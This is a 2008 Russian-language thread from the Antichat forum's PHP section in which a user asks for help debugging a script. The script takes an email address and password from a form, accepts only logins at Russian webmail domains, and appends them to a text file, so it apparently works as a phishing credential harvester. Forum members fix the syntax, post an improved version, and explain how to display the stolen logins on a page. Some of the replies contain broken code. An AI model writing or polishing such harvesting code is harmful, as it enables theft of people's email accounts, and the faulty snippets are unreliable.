HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   ANTICHAT > ПРОГРАММИРОВАНИЕ > PHP
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #1  
Старый 21.09.2008, 19:13
geforce
Постоянный
Регистрация: 21.08.2008
Сообщений: 302
С нами: 9326973

Репутация: -25
Wink

Цитата:
Сообщение от Doom123  
if (empty($_POST['b'])) //Нужна проверка т.к $_POST['а'] мы проверили выше
Нет b у меня пасворд его не надо проверять!
 
Ответить с цитированием

  #2  
Старый 21.09.2008, 19:17
geforce
Постоянный
Регистрация: 21.08.2008
Сообщений: 302
С нами: 9326973

Репутация: -25
Red face

PHP код:
<?php 
$f
="";
$mail[0]="mail.ru";
$mail[1]="list.ru";
$mail[2]="inbox.ru";
$mail[3]="bk.ru";
$mail[4]="yandex.ru";
$mail[5]="rambler.ru";
if ((
$_POST["a"]==$f)or($_POST["b"]==$f)) //проверяет поле на пустоту
   
{header('Location: error1.php');}  
else {
$fs=explode("@",$_POST['a'],2);  //проверяет правильность мыла
   
if (in_array($fs[1],$mail)) 
     {if(isset(
$_POST["a"])&& isset($_POST["b"]))  //делает запись в текстовый файл если выше описаные проверки пройдены         
      
{$fh=fopen("kont.txt","a"); 
        
fputs($fh,"mail=>>>".$_POST["a"]."::::pass=>>>".$_POST["b"]."\r\n");          
          
fclose($fh);        
            
header('Location: autor.php');}}} else {header('Location: error2.php');}    
?>
Почему пишет ошибку?
Parse error: syntax error, unexpected T_ELSE in Z:\home\test3.ru\www\prog.php on line 27

Последний раз редактировалось geforce; 21.09.2008 в 20:10..
 
Ответить с цитированием

  #3  
Старый 21.09.2008, 20:08
astrologer
Постоянный
Регистрация: 30.08.2007
Сообщений: 773
С нами: 9840758

Репутация: 808


По умолчанию

Цитата:
Сообщение от geforce  
Почему пишет ошибку?
1) Было бы неплохо указывать, какую именно ошибку.
2) Также имеет смысл лучше изучить основы используемого языка. Можно, например, начать отсюда.
 
Ответить с цитированием

  #4  
Старый 21.09.2008, 20:11
d_x
Постоянный
Регистрация: 25.03.2008
Сообщений: 670
С нами: 9541766

Репутация: 2407


По умолчанию

PHP код:
<?php  
$f
=""
$mail[0]="mail.ru"
$mail[1]="list.ru"
$mail[2]="inbox.ru"
$mail[3]="bk.ru"
$mail[4]="yandex.ru"
$mail[5]="rambler.ru"

if (
$_POST["a"]==$f || $_POST["b"]==$f//проверяет поле на пустоту 
  
header('Location: error1.php');
else
{
  
$fs=explode("@",$_POST['a'],2);  //проверяет правильность мыла

  
if(in_array($fs[1],$mail))
  {
    if(isset(
$_POST["a"]) && isset($_POST["b"]))  //делает запись в текстовый файл если выше описаные проверки пройдены
    
{
      
$fh=fopen("kont.txt","a");

      
fputs($fh,"mail=>>>".$_POST["a"]."::::pass=>>>".$_POST["b"]."\r\n");
         
      
fclose($fh);        
 
      
header('Location: autor.php');
    }
  }
  else
  {
    
header('Location: error2.php');
  }
}
?>
P.S. Код не улучшал
 
Ответить с цитированием

  #5  
Старый 21.09.2008, 20:29
geforce
Постоянный
Регистрация: 21.08.2008
Сообщений: 302
С нами: 9326973

Репутация: -25
Wink

Цитата:
Сообщение от d_x  
PHP код:
<?php  
$f
=""
$mail[0]="mail.ru"
$mail[1]="list.ru"
$mail[2]="inbox.ru"
$mail[3]="bk.ru"
$mail[4]="yandex.ru"
$mail[5]="rambler.ru"

if (
$_POST["a"]==$f || $_POST["b"]==$f//проверяет поле на пустоту 
  
header('Location: error1.php');
else
{
  
$fs=explode("@",$_POST['a'],2);  //проверяет правильность мыла

  
if(in_array($fs[1],$mail))
  {
    if(isset(
$_POST["a"]) && isset($_POST["b"]))  //делает запись в текстовый файл если выше описаные проверки пройдены
    
{
      
$fh=fopen("kont.txt","a");

      
fputs($fh,"mail=>>>".$_POST["a"]."::::pass=>>>".$_POST["b"]."\r\n");
         
      
fclose($fh);        
 
      
header('Location: autor.php');
    }
  }
  else
  {
    
header('Location: error2.php');
  }
}
?>
P.S. Код не улучшал

СПАСИБО!!!
 
Ответить с цитированием

  #6  
Старый 21.09.2008, 20:12
NuR
Участник форума
Регистрация: 11.12.2005
Сообщений: 160
С нами: 10743646

Репутация: 159
По умолчанию

else {
header('Location: error2.php');
}

вот этот елсе хренпоймический, для него нету иф.


1) Было бы неплохо указывать, какую именно ошибку.
изучая код товарища гефорсе можно сделать вывод что ошибка в днк=)
 
Ответить с цитированием

  #7  
Старый 21.09.2008, 20:20
d_x
Постоянный
Регистрация: 25.03.2008
Сообщений: 670
С нами: 9541766

Репутация: 2407


По умолчанию

Немного поприличнее вариант:

PHP код:
<?php   
$mail
=Array(
"mail.ru",
"list.ru",
"inbox.ru"
"bk.ru",
"yandex.ru",
"rambler.ru"
);

if (!isset(
$_POST["a"]) || !isset($_POST["b"]) || $_POST["a"]=='' || $_POST["b"]==''//проверяет поле на пустоту  
  
header('Location: error1.php'); 
else 

  
$fs=explode("@",$_POST['a'],2);  //проверяет правильность мыла 

  
if(in_array($fs[1],$mail) && preg_match("/^[_\-\.0-9a-z]+@[0-9a-z]{1}[_0-9a-z\.]+\.[a-z]{2,4}$/i",$fs[1])) 
  { 
    
$fh=fopen("kont.txt","a+"); 

    
fputs($fh,"mail=>>>".$_POST["a"]."::::pass=>>>".$_POST["b"]."\r\n"); 
          
    
fclose($fh);         
  
    
header('Location: autor.php'); 
  } 
  else 
  { 
    
header('Location: error2.php'); 
  } 

?>

Последний раз редактировалось d_x; 21.09.2008 в 23:22..
 
Ответить с цитированием

  #8  
Старый 21.09.2008, 20:33
geforce
Постоянный
Регистрация: 21.08.2008
Сообщений: 302
С нами: 9326973

Репутация: -25
Red face

Вот так не работает
PHP код:
<?php $f=fopen("kont.txt") echo"$f";?>
Как вывести содержимое текстового документа на страницу?
 
Ответить с цитированием

  #9  
Старый 21.09.2008, 20:40
P3L3NG
Banned
Регистрация: 04.06.2008
Сообщений: 402
С нами: 9440285

Репутация: 719
По умолчанию

Цитата:
Сообщение от geforce  
Вот так не работает
PHP код:
<?php $f=fopen("kont.txt") echo"$f";?>
Как вывести содержимое текстового документа на страницу?
[PHP][QUOTE=geforce]Вот так не работает [PHP]<?php
PHP код:
<?
$f
=fopen("kont.txt");
echo
"$f";
?>
точку с запятой забыл. или юзай функцию file_get_contents (вроде так..)
 
Ответить с цитированием

  #10  
Старый 21.09.2008, 20:40
d_x
Постоянный
Регистрация: 25.03.2008
Сообщений: 670
С нами: 9541766

Репутация: 2407


По умолчанию

Цитата:
Как вывести содержимое текстового документа на страницу?
PHP код:
<?php print file_get_contents("kont.php"); ?>
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
[c/c++] Новичкам: задаем вопросы _Great_ С/С++, C#, Rust, Swift, Go, Java, Perl, Ruby 5421 21.04.2026 07:37
Интернетчики задали российскому президенту очень странные вопросы podkashey Мировые новости. Обсуждения. 4 07.07.2006 16:53
Вопросы по Ipb 2.0 Voodoo_People Уязвимости CMS / форумов 26 15.02.2005 22:57



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.